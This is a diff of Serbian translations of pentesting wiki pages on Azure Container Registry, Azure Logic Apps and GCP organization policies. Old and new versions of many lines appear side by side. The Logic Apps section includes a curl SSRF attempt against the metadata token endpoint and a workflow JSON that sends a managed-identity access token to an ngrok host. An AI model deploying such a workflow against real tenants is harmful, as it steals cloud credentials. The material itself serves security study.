Međutim, to će pokrenuti izvršenja koja nisu previše zanimljiva iz perspektive napadača jer nemaju nijednu upravljanu identitet pridruženu njima.
Međutim, **tasks** mogu imati **system and user managed identity** pridružene njima. Ovi zadaci su korisni za **escalate privileges** u kontejneru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti zadatke za eskalaciju privilegija.
Međutim, **tasks** mogu imati **sistemsku i korisničku upravljanu identitet** pridruženu njima. Ovi zadaci su korisni za **escalate privileges** u kontejneru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti zadatke za eskalaciju privilegija.
### Cache
@@ -105,7 +105,7 @@ Ovo je veoma zanimljivo iz perspektive napadača jer omogućava **pivot to an ex
## Enumeration
> [!WARNING]
> Veoma je važno da, čak i ako naziv registra sadrži neka velika slova, treba koristiti samo mala slova u URL-u za pristup.
> Veoma je važno da, čak i ako ime registra sadrži neka velika slova, treba koristiti samo mala slova u URL-u za pristup.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Eskalacija privilegija i post eksploatacija
## Neautentifikovani Pristup
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Eskalacija Privilegija & Post Eksploatacija
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Reference

View File

@@ -2,101 +2,177 @@
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne Informacije
## Osnovne informacije
Azure Logic Apps je usluga zasnovana na oblaku koju pruža Microsoft Azure koja omogućava programerima da **kreiraju i pokreću radne tokove koji integrišu različite usluge**, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da **automatizuju poslovne procese**, orkestriraju zadatke i obavljaju integracije podataka između različitih platformi.
Azure Logic Apps omogućava programerima da **kreiraju i pokreću radne tokove koji integrišu različite usluge**, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da **automatizuju poslovne procese**, orkestriraju zadatke i obavljaju integracije podataka širom različitih platformi.
Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spektrom unapred napravljenih konektora**, što olakšava povezivanje i interakciju sa raznim uslugama, kao što su Office 365, Dynamics CRM, Salesforce i mnoge druge. Takođe možete kreirati prilagođene konektore za vaše specifične potrebe.
Logic Apps pruža **vizuelni dizajner** za kreiranje radnih tokova sa **širokim spektrom unapred izgrađenih konektora**, što olakšava povezivanje i interakciju sa različitim uslugama:
Kada kreirate Logic App, morate ili kreirati ili povezati eksterni nalog za skladištenje koji čuva stanje radnog toka, istoriju izvršavanja i artefakte. Ovo skladište može biti konfigurisano sa dijagnostičkim podešavanjima za praćenje i može biti zaštićeno mrežnim pristupnim ograničenjima ili integrisano u virtuelnu mrežu kako bi se kontrolisao ulazni i izlazni saobraćaj.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Primeri
- **Automatizacija Podatkovnih Tokova**: Logic Apps mogu automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih podatkovnih tokova koji premeštaju i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji.
- **Integracija sa Azure Funkcijama**: Logic Apps mogu raditi zajedno sa Azure Funkcijama za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Funkcije kao odgovor na određene događaje, kao što su promene u Azure nalogu za skladištenje, omogućavajući dinamičku obradu podataka.
### Vizualizacija LogicAPP-a
Moguće je prikazati LogicApp sa grafikom:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
ili proveriti kod u sekciji "**Prikaz koda Logic app-a**".
### SSRF Zaštita
Čak i ako pronađete **Logic App ranjiv na SSRF**, nećete moći da pristupite kredencijalima iz metapodataka jer Logic Apps to ne dozvoljava.
Na primer, nešto poput ovoga neće vratiti token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Opcije hostovanja
Postoji nekoliko opcija hostovanja:
* **Potrošnja**
- **Višekorisnički**: pruža deljene računske resurse, funkcioniše u javnom oblaku i prati model cena po operaciji. Ovo je idealno za lagane i ekonomične radne opterećenja. Ovo implementira "Jedan Tok".
- **Multi-tenant**: Ovo pruža deljene računske resurse, funkcioniše u javnom oblaku i prati model cena po operaciji. Ovo je idealno za lagane i isplative radne opterećenja. Ovo ćemo nazvati "Jedan Radni Tok".
* **Standard**
- **Plan usluge radnog toka**: posvećeni računski resursi sa VNET integracijom za umrežavanje i naplaćuje se po instanci plana usluge radnog toka. Pogodno je za zahtevnija radna opterećenja koja zahtevaju veću kontrolu.
- **Okruženje usluge aplikacija V3**: posvećeni računski resursi sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET za umrežavanje i koristi model cena zasnovan na instancama usluge aplikacija unutar okruženja.
- **Hibridno**: dizajnirano za lokalnu obradu i podršku za više oblaka. Omogućava korisnički upravljane računske resurse sa lokalnim pristupom mreži i koristi Kubernetes Event-Driven Autoscaling (KEDA). Oslanja se na Okruženje povezane aplikacije kontejnera.
- **Plan usluge radnog toka**: Ovo pruža posvećene računske resurse sa VNET integracijom za umrežavanje i naplaćuje po instanci plana usluge radnog toka. Pogodno je za zahtevnija radna opterećenja koja zahtevaju veću kontrolu.
- **App Service Environment V3:** Ovo pruža posvećene računske resurse sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET za umrežavanje i koristi model cena zasnovan na App Service instancama unutar okruženja.
- **Hibrid:** Ovo je dizajnirano za lokalnu obradu i podršku za više oblaka. Omogućava korisnički upravljane računske resurse sa lokalnim pristupom mreži i koristi Kubernetes Event-Driven Autoscaling (KEDA). Oslanja se na Container App Connected Environment.
### Ključne karakteristike
- **Skladištenje**: Logic Apps zahteva eksterni Azure Storage nalog za čuvanje stanja radnog toka, istorije izvršenja… i mora biti u istoj grupi resursa kao Logic App.
- **Mrežno povezivanje i bezbednost**: Logic Apps mogu biti konfigurisane sa javnim ili privatnim pristupom. Po defaultu, aplikacija je otvorena za internet, ali može biti integrisana sa Azure Virtual Network za izolovanu povezanost.
- **Uvid u aplikacije**: Upravljanje performansama aplikacija (APM) putem Azure Monitor Application Insights može biti omogućeno za praćenje performansi, otkrivanje anomalija i pružanje analitike.
- **Kontrola pristupa**: Logic Apps podržavaju identitete koje upravlja sistem i identitete koje upravlja korisnik.
## "Jedan" Radni Tokovi / Plan Potrošnje
### "Jedan" Tokovi
**Radni tok** je strukturisana sekvenca automatizovanih koraka ili zadataka koji izvršavaju određeni proces ili cilj. Definiše kako različite akcije, uslovi i odluke interaguju da bi se postigao željeni ishod, pojednostavljujući operacije i smanjujući manuelni trud.
**Tok** je strukturisana sekvenca automatizovanih koraka ili zadataka koji izvršavaju određeni proces ili cilj. Definiše kako različite akcije, uslovi i odluke međusobno deluju kako bi se postigao željeni ishod, pojednostavljujući operacije i smanjujući manuelni trud. Tokovi mogu integrisati više sistema, pokretati događaje i pravila, osiguravajući doslednost i efikasnost u procesima.
> [!TIP]
> Plan potrošnje omogućava **kreiranje jednog radnog toka bez potrebe za samim Logic App**.
Azure Logic Apps pruža funkcionalnost **kreiranja jednog toka bez potrebe za Logic App** samim.
### Okidači i Akcije
Svaki tok ima različite **okidače**. Ovi okidači su koraci koje tok prati. Svaki okidač ima svoje parametre koji se mogu razlikovati u zavisnosti od tipa okidača:
- Ime veze
- **Tip autentifikacije** koji može biti, Pristupni ključ, Microsoft Entra ID, autentifikacija integrisanog servisnog principa i Logic Apps upravljani identitet.
Okidači radnog toka označavaju **kada bi radni tok trebao da počne**. Okidači mogu biti HTTP krajnja tačka, raspored ili desetine različitih događaja iz Azure-a ili čak spoljašnjih aplikacija.
Okidači takođe imaju različite postavke:
- Validacija šeme: Osigurava da dolazni podaci prate unapred definisanu strukturu.
- Kontrola konkurentnosti: Ograničava broj paralelnih izvršenja.
- Uslovi okidača: uslovi koji moraju biti ispunjeni pre nego što se okidač aktivira.
- Mrežno povezivanje: Konfiguriše veličinu paketa za prenos podataka i omogućava suzbijanje zaglavlja radnog toka u odgovorima.
- **Bezbednost**: Omogućava **Sigurne Ulaze/Izlaze za skrivanje** osetljivih podataka u logovima i izlazima.
Svaki radni tok ima različite **akcije**. Ove akcije su koraci koje radni tok prati. U zavisnosti od akcije, različiti parametri će biti dostupni za konfiguraciju, kao što su:
**Postavke i API veze:**
- **Ime konekcije**: Konekcija koja će se koristiti sa kojom će akcija interagovati.
- **Tip autentifikacije:** Različite opcije su Access Key, Microsoft Entra ID, Integrated Service principal authentication i Logic Apps Managed Identity.
- Iz perspektive samo za čitanje, **podaci o autentifikaciji** su uvek zanimljivi jer mogu sadržati osetljive informacije.
- Iz perspektive pisanja, **podaci o autentifikaciji** su uvek zanimljivi jer mogu omogućiti korišćenje dozvola dodeljenih upravljanim identitetima.
- ...
Tok ima različite postavke kao što su:
- Dozvoljene ulazne IP adrese: Ova postavka vam omogućava da ograničite ko može da pokrene ili započne vašu Logic App. Opcije su Svaka IP, Samo druge Logic Apps i Specifični opsezi IP adresa.
- Integracioni nalog: Ovde možete povezati svoju Logic App sa Integracionim nalogom.
- Visok protok: Ova postavka omogućava vašoj Logic App da brzo obradi više zahteva.
- Zadržavanje istorije izvršenja: koliko dugo se čuva istorija izvršenja vaše Logic App.
Akcije takođe imaju različite **postavke**, koje zavise od same akcije. Neke od najčešćih postavki su:
Možete videti različite API veze koje tok ima. Unutar svake od ovih veza imaju različite osobine i mogućnost uređivanja API veze gde se tip autentifikacije može promeniti.
- **Politika ponovnog pokušaja**: Konfiguriše broj ponovnih pokušaja i interval između njih.
- **Vreme čekanja**: Postavlja maksimalno vreme koje akcija može da traje pre nego što istekne.
- **Pokreni nakon**: Precizira uslove koji moraju biti ispunjeni pre nego što akcija bude pokrenuta.
- **Validacija šeme**: Osigurava da dolazni podaci prate unapred definisanu strukturu.
- **Umrežavanje**: Konfiguriše kako upravljati različitim zaglavljima.
- **Sigurni ulazi/izlazi**: Ovo će sakriti ulazne/izlazne podatke iz istorije izvršenja.
- ...
**Istorija i verzije:**
Ima opciju pristupa **istoriji** različitih izvršenja, prikazuje, Postavke, Izlaz, Parametre i Kod.
### Politike autorizacije
Takođe ima opciju pristupa različitim **verzijama** toka, gde možete proveriti kod i promeniti trenutni tok sa starijom verzijom.
**Autorizacija:**
Azure Logic Apps podržavaju **politike autorizacije** sa Entra ID za osiguranje okidača zasnovanih na zahtevima zahtevajući važeći pristupni token. Ovaj token mora uključivati specifične tvrdnje:
Ovi radni tokovi podržavaju **politike autorizacije** sa Entra ID za zaštitu okidača zasnovanih na zahtevima zahtevajući važeći pristupni token. Ovaj token mora uključivati specifične tvrdnje:
- Izdavač (iss) za verifikaciju identiteta provajdera
- Publika (aud) da osigura da je token namenjen za Logic App
- Subjekt (sub) za identifikaciju pozivaoca
- Subjekat (sub) za identifikaciju pozivaoca
- JWT ID (identifikator JSON Web Token-a)
- Prilagođena tvrdnja
Kada se zahtev primi, Logic Apps validira token prema ovim tvrdnjama i omogućava izvršenje samo ako se poklapaju sa konfigurisanim politikama. Ovo se može koristiti za omogućavanje drugom korisniku da pokrene tok ili odbijanje okidača iz drugih izvora, na primer, samo omogućavanje okidača ako dolazi sa https://login.microsoftonline.com/.
Kada se zahtev primi, Logic Apps validira token prema ovim tvrdnjama i omogućava izvršenje samo ako se poklapaju sa konfigurisanim politikama. Ovo se može koristiti za omogućavanje drugom tenant-u da pokrene radni tok ili odbijanje okidača iz drugih izvora, na primer, samo omogućavanje okidača ako dolazi sa https://login.microsoftonline.com/.
**Pristupni ključevi:**
Kada prvi put sačuvate okidač zasnovan na zahtevu, Logic Apps automatski kreira jedinstvenu tačku pristupa sa SAS potpisom (kreiranim iz Pristupnog ključa) koji daje dozvolu za pozivanje toka. Ovaj SAS potpis je ugrađen u URL okidača. Ovaj ključ se može regenerisati i daće novi SAS potpis, ali ključevi se ne mogu listati.
### Pristupni ključevi
URL za pozivanje sa Pristupnim ključem:
Radni tokovi **generišu 2 pristupna ključa** kada se kreiraju. Ovi ključevi se koriste za autentifikaciju i autorizaciju zahteva za radni tok. Ključevi se koriste za generisanje Shared Access Signature (SAS) tokena, koji se uključuje u URL zahteva.
Dakle, kada se kreira okidač HTTP krajnje tačke, generiše se **jedinstvena HTTP krajnja tačka sa SAS potpisom** koja daje dozvolu za pozivanje radnog toka.
Ovi **ključevi se mogu regenerisati** i biće kreiran novi SAS URL za ove okidače, ali **vrednosti ključeva se ne mogu pristupiti**.
Primer SAS URL-a za pozivanje okidača:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Podešavanja i komponente radnog toka
- **Opcija pristupa okidaču**: Ova postavka vam omogućava da ograničite ko može da pokrene ili započne vaš radni tok. Opcije su Svaki IP, Samo drugi radni tok i Specifični IP opsezi.
- **Integracioni nalog**: Povežite svoj radni tok sa Integracionim nalogom.
- **Visok protok**: Ako je uključen, omogućava brže rukovanje većim brojem zahteva paralelno.
- **Zadržavanje istorije izvršenja**: Ovo označava broj dana za koje se čuva istorija izvršenja.
- **API konekcije**: Ovo prikazuje različite API konekcije koje radni tok ima. Unutar svake od ovih konekcija imaju različita svojstva i mogućnost uređivanja API konekcije gde se može promeniti tip autentifikacije.
- **Istorija**: Ima opciju pristupa **istoriji** starih izvršenja i dobijanja podataka: Podešavanja, Izlaz, Parametri i Kod.
- **Verzije**: Ima opciju pristupa različitim **verzijama** radnog toka, gde možete proveriti kod i promeniti trenutni radni tok sa starijom verzijom.
- **Upravljane identitete**: Moguće je dodeliti 1 sistemski upravljani identitet i korisnički upravljani identitet radnom toku.
### Izdavanje MI pristupnih tokena
HTTP akcija u radnom toku može se koristiti za slanje podataka na eksternu veb stranicu. U **Naprednim parametrima** HTTP akcije, moguće je konfigurisati **Tip autentifikacije** kao **`Upravljani identitet`** i zatim odabrati **dodeljeni upravljani identitet** za korišćenje (sistem ili korisnik).
Pored toga, moguće je naznačiti u **`Publika`** publiku generisanog JWT, koja bi mogla biti na primer **`https://management.azure.com/`** kako bi se generisani token mogao koristiti za pristup Azure menadžerskom API-ju.
> [!WARNING]
> Slanjem HTTP zahteva na server koji kontroliše napadač, moguće je **izdati pristupni token upravljanog identiteta** dodeljenog radnom toku.
> [!TIP]
> Napadač takođe može koristiti druge tipove akcija da **direktno pristupi drugim Azure uslugama** i izvrši radnje sa dozvolama upravljanog identiteta.
Ovo je kod radnog toka koji izlaže HTTP krajnju tačku i zatim koristi HTTP akciju da izda pristupni token na konfigurisanu URL adresu (ngrok u ovom slučaju):
<details>
<summary>Kod radnog toka</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Standard Plan
### Razlike sa "Single" Tokovima
Logic apps u osnovi koriste App Service u pozadini da **hostuju logic app koji može hostovati nekoliko tokova**. To znači da će logic app imati sve funkcije App Service-a i "Single" Tokova.
Neke ključne funkcije bi bile:
- **App Service Plan**: Logic Apps u Standard planu su hostovane na App Service Plan-u, tako da je moguće koristiti sve funkcije App Service-a kao što su:
- **Mrežne Ograničenja**: Naznačite odakle je dostupno.
- **Centar za Implementaciju**: Implementacija sa eksternih platformi kao što su Github, Bitbucket, Azure Repos, Eksterni Git i Lokalni Git.
- **FTP pristup**: Moguće je pristupiti datotekama Logic App-a putem FTP-a.
- **Račun za skladištenje**: Servisna aplikacija koristi račun za skladištenje za čuvanje informacija.
- **Env varijable & Postavke aplikacije**: Moguće je konfigurisati varijable okruženja i postavke aplikacije (i pronaći osetljive informacije kao što su pristupni ključevi za račun za skladištenje).
- ...
- **Parametri**: Parametri vam omogućavaju da upravljate vrednostima koje se razlikuju između razvoja, testiranja i produkcije. Ovo vam omogućava da prvo dizajnirate tokove, a zatim lako prilagodite postavke specifične za okruženje kasnije.
- **Posvećeni Resursi**: Logic Apps u Standard planu imaju posvećene resurse.
- **Više Tokova**: Omogućava kreiranje više tokova.
Za više informacija o App Services pogledajte:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Enumeracija
@@ -203,19 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Integracioni Nalozi
## Integracioni Nalozi
**Integracioni Nalozi** su funkcija Azure Logic Apps. Integracioni Nalozi se koriste za olakšavanje integracija na nivou preduzeća omogućavanjem naprednih B2B mogućnosti, kao što su EDI, AS2 i upravljanje XML shemama. Integracioni Nalozi su kontejner u Azure-u koji čuva sledeće artefakte korišćene za Logic Apps:
* Sheme: Upravljajte XML shemama za validaciju i obradu poruka u vašem integracionom nalogu.
* Mape: Konfigurišite XSLT transformacije za konvertovanje formata podataka unutar vaših integracionih radnih tokova.
* Skupovi: Upravljajte skupovima integracionog naloga kako biste pojednostavili logiku i obradu podataka.
* Sertifikati: Rukujte sertifikatima za enkripciju i potpisivanje poruka, obezbeđujući sigurnu komunikaciju.
* Partneri: Upravljajte informacijama o trgovinskim partnerima za B2B transakcije, omogućavajući besprekornu integraciju.
* Ugovori: Konfigurišite pravila i postavke za razmenu podataka sa trgovinskim partnerima (npr. EDI, AS2).
* Konfiguracije serija: Upravljajte konfiguracijama obrade serija kako biste grupisali i efikasno obrađivali poruke.
* RosettaNet PIP: Konfigurišite RosettaNet procese interfejsa partnera (PIPs) za standardizaciju B2B komunikacije.
* **Shemati**: Upravljajte XML shemama za validaciju i obradu poruka u vašem integracionom nalogu.
* **Mape**: Konfigurišite XSLT transformacije za konvertovanje formata podataka unutar vaših integracionih radnih tokova.
* **Skupovi**: Upravljajte skupovima integracionog naloga kako biste pojednostavili logiku i obradu podataka.
* **Sertifikati**: Rukujte sertifikatima za enkripciju i potpisivanje poruka, osiguravajući sigurnu komunikaciju.
* **Partneri**: Upravljajte informacijama o trgovinskim partnerima za B2B transakcije, omogućavajući besprekornu integraciju.
* **Sporazumi**: Konfigurišite pravila i postavke za razmenu podataka sa trgovinskim partnerima (npr. EDI, AS2).
* **Batch Konfiguracije**: Upravljajte konfiguracijama obrade serija kako biste grupisali i efikasno obrađivali poruke.
* **RosettaNet PIP**: Konfigurišite RosettaNet procese interfejsa partnera (PIPs) za standardizaciju B2B komunikacije.
#### Enumeracija
@@ -319,7 +393,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
## Eskalacija privilegija
Isto kao privesc logičkih aplikacija:
Isto kao privesc za logic apps:
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
@@ -331,4 +405,10 @@ Isto kao privesc logičkih aplikacija:
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Postojanost
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -13,24 +13,28 @@ Organization
--> Projects
--> Resources
```
Virtuelna mašina (nazvana Compute Instance) je resurs. Resurs se nalazi u projektu, verovatno zajedno sa drugim Compute Instances, skladišnim kanticama itd.
A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
## **Migracija Projekata**
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
Moguće je **migrirati projekat bez organizacije** u organizaciju sa dozvolama `roles/resourcemanager.projectCreator` i `roles/resourcemanager.projectMover`. Ako je projekat unutar druge organizacije, potrebno je kontaktirati GCP podršku da **ih prvo premeste iz organizacije**. Za više informacija pogledajte [**ovo**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
## **Migracija projekata**
## **Politike Organizacije**
Moguće je **migrirati projekat bez organizacije** u organizaciju sa dozvolama `roles/resourcemanager.projectCreator` i `roles/resourcemanager.projectMover`. Ako je projekat unutar druge organizacije, potrebno je kontaktirati GCP podršku da **prvo presele projekat iz organizacije**. Za više informacija pogledajte [**ovo**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
## **Politike organizacije**
Omogućavaju centralizaciju kontrole nad resursima vaše organizacije u oblaku:
- Centralizujte kontrolu da **konfigurišete ograničenja** o tome kako se resursi vaše organizacije mogu koristiti.
- Definišite i uspostavite **ograničenja** za vaše razvojne timove da ostanu unutar granica usklađenosti.
- Pomozite vlasnicima projekata i njihovim timovima da brzo napreduju bez brige o kršenju usklađenosti.
- Definišite i uspostavite **ograničenja** za vaše razvojne timove kako bi ostali unutar granica usklađenosti.
- Pomoć vlasnicima projekata i njihovim timovima da brzo deluju bez brige o kršenju usklađenosti.
Ove politike mogu biti kreirane da **uticaju na kompletnu organizaciju, folder(e) ili projekat(e)**. Potomci ciljanog čvora hijerarhije resursa **nasleđuju politiku organizacije**.
Ove politike mogu biti kreirane da **uticaju na celu organizaciju, folder(e) ili projekat(e)**. Potomci ciljanog čvora hijerarhije resursa **nasleđuju politiku organizacije**.
Da biste **definisali** politiku organizacije, **birate** [**ograničenje**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), što je određena vrsta ograničenja prema Google Cloud usluzi ili grupi Google Cloud usluga. **Konfigurišete to ograničenje sa željenim ograničenjima**.
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
#### Uobičajeni slučajevi korišćenja <a href="#common_use_cases" id="common_use_cases"></a>
- Ograničite deljenje resursa na osnovu domena.
@@ -38,9 +42,11 @@ Da biste **definisali** politiku organizacije, **birate** [**ograničenje**](htt
- Ograničite fizičku lokaciju novokreiranih resursa.
- Onemogućite kreiranje naloga za usluge.
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima vaše organizacije. Za **više informacija, pogledajte** [**spisak svih ograničenja politike organizacije**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
### **Podrazumevane Politike Organizacije**
### **Podrazumevane politike organizacije**
<details>
@@ -48,39 +54,39 @@ Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima
**Politike upravljanja pristupom**
- **Kontakti sa ograničenim domenom:** Sprečava dodavanje korisnika u Esencijalne kontakte van vaših specificiranih domena. Ovo ograničava Esencijalne kontakte da dozvole samo upravljanim identitetima korisnika u vašim odabranim domenama da primaju obaveštenja sa platforme.
- **Deljenje sa ograničenim domenom:** Sprečava dodavanje korisnika u IAM politike van vaših specificiranih domena. Ovo ograničava IAM politike da dozvole samo upravljanim identitetima korisnika u vašim odabranim domenama da pristupaju resursima unutar ove organizacije.
- **Kontakti sa ograničenim domenom:** Sprečava dodavanje korisnika u Esencijalne kontakte van vaših specificiranih domena. Ovo ograničava Esencijalne kontakte da dozvole samo upravljane identitete korisnika u vašim odabranim domenama da primaju obaveštenja sa platforme.
- **Deljenje sa ograničenim domenom:** Sprečava dodavanje korisnika u IAM politike van vaših specificiranih domena. Ovo ograničava IAM politike da dozvole samo upravljane identitete korisnika u vašim odabranim domenama da pristupaju resursima unutar ove organizacije.
- **Sprečavanje javnog pristupa:** Sprečava Cloud Storage kante da budu izložene javnosti. Ovo osigurava da programer ne može konfigurisati Cloud Storage kante da imaju neautentifikovani pristup internetu.
- **Uniformni pristup na nivou kante:** Sprečava liste kontrola pristupa (ACL) na nivou objekta u Cloud Storage kantama. Ovo pojednostavljuje vaše upravljanje pristupom primenom IAM politika dosledno na svim objektima u Cloud Storage kantama.
- **Zahtevajte OS prijavu:** VMs kreirane u novim projektima će imati omogućenu OS prijavu. Ovo vam omogućava da upravljate SSH pristupom vašim instancama koristeći IAM bez potrebe da kreirate i upravljate pojedinačnim SSH ključevima.
- **Zahteva OS prijavu:** VMs kreirane u novim projektima će imati omogućenu OS prijavu. Ovo vam omogućava da upravljate SSH pristupom vašim instancama koristeći IAM bez potrebe da kreirate i upravljate pojedinačnim SSH ključevima.
**Dodatne sigurnosne politike za naloge za usluge**
- **Onemogućite automatske IAM dozvole:** Sprečava da se podrazumevani App Engine i Compute Engine nalozi za usluge automatski dodeljuju IAM ulogu urednika na projektu prilikom kreiranja. Ovo osigurava da nalozi za usluge ne dobiju previše dozvola prilikom kreiranja.
- **Onemogućite kreiranje ključeva naloga za usluge:** Sprečava kreiranje javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od izlaganja trajnih akreditiva.
- **Onemogućite otpremu ključeva naloga za usluge:** Sprečava otpremu javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od curenja ili ponovne upotrebe materijala ključeva.
- **Onemogući automatske IAM dozvole**: Sprečava da se podrazumevani App Engine i Compute Engine nalozi za usluge automatski dodeljuju IAM ulogu urednika prilikom kreiranja projekta. Ovo osigurava da nalozi za usluge ne dobiju previše dozvola prilikom kreiranja.
- **Onemogući kreiranje ključeva naloga za usluge**: Sprečava kreiranje javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od izlaganja trajnih akreditiva.
- **Onemogući otpremanje ključeva naloga za usluge**: Sprečava otpremanje javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od curenja ili ponovne upotrebe materijala ključeva.
**Politike konfiguracije sigurnih VPC mreža**
**Sigurne politike konfiguracije VPC mreže**
- **Definišite dozvoljene spoljne IP adrese za VM instance:** Sprečava kreiranje Compute instanci sa javnim IP, što može da ih izloži internet saobraćaju.
- **Definišite dozvoljene spoljne IP adrese za VM instance**: Sprečava kreiranje Compute instanci sa javnim IP, što može izložiti internet saobraćaju.
* **Onemogućite VM ugnježdenu virtualizaciju:** Sprečava kreiranje ugnježdenih VMs na Compute Engine VMs. Ovo smanjuje sigurnosni rizik od neproverenih ugnježdenih VMs.
* **Onemogući VM ugnježdenu virtualizaciju**: Sprečava kreiranje ugnježdenih VMs na Compute Engine VMs. Ovo smanjuje sigurnosni rizik od neproverenih ugnježdenih VMs.
- **Onemogućite serijski port VM:** Sprečava pristup serijskom portu Compute Engine VMs. Ovo sprečava unos u serijski port servera koristeći Compute Engine API.
- **Onemogući serijski port VM:** Sprečava pristup serijskom portu Compute Engine VMs. Ovo sprečava unos u serijski port servera koristeći Compute Engine API.
* **Ograničite autorizovane mreže na Cloud SQL instancama:** Sprečava javne ili neinternetske mrežne opsege da pristupaju vašim Cloud SQL bazama podataka.
- **Ograničite prosleđivanje protokola na osnovu tipa IP adrese:** Sprečava prosleđivanje VM protokola za spoljne IP adrese.
- **Ograničite preusmeravanje protokola na osnovu tipa IP adrese:** Sprečava preusmeravanje VM protokola za spoljne IP adrese.
* **Ograničite javni pristup IP na Cloud SQL instancama:** Sprečava kreiranje Cloud SQL instanci sa javnim IP, što može da ih izloži internet saobraćaju.
* **Ograničite javni pristup IP na Cloud SQL instancama:** Sprečava kreiranje Cloud SQL instanci sa javnim IP, što može izložiti internet saobraćaju.
- **Ograničite uklanjanje tereta zajedničkog VPC projekta:** Sprečava slučajno brisanje zajedničkih VPC host projekata.
* **Postavite internu DNS postavku za nove projekte na Zonal DNS Samo:** Sprečava korišćenje nasleđene DNS postavke koja je smanjila dostupnost usluga.
* **Postavlja unutrašnju DNS postavku za nove projekte na Zonal DNS Samo:** Sprečava korišćenje nasleđene DNS postavke koja je smanjila dostupnost usluga.
- **Preskočite kreiranje podrazumevane mreže:** Sprečava automatsko kreiranje podrazumevane VPC mreže i povezanih resursa. Ovo izbegava previše dozvola podrazumevanih pravila vatrozida.
- **Preskoči kreiranje podrazumevane mreže:** Sprečava automatsko kreiranje podrazumevane VPC mreže i povezanih resursa. Ovo izbegava previše dozvola podrazumevanih pravila vatrozida.
* **Onemogućite korišćenje VPC spoljnog IPv6:** Sprečava kreiranje spoljašnjih IPv6 podmreža, koje mogu biti izložene neovlašćenom pristupu internetu.
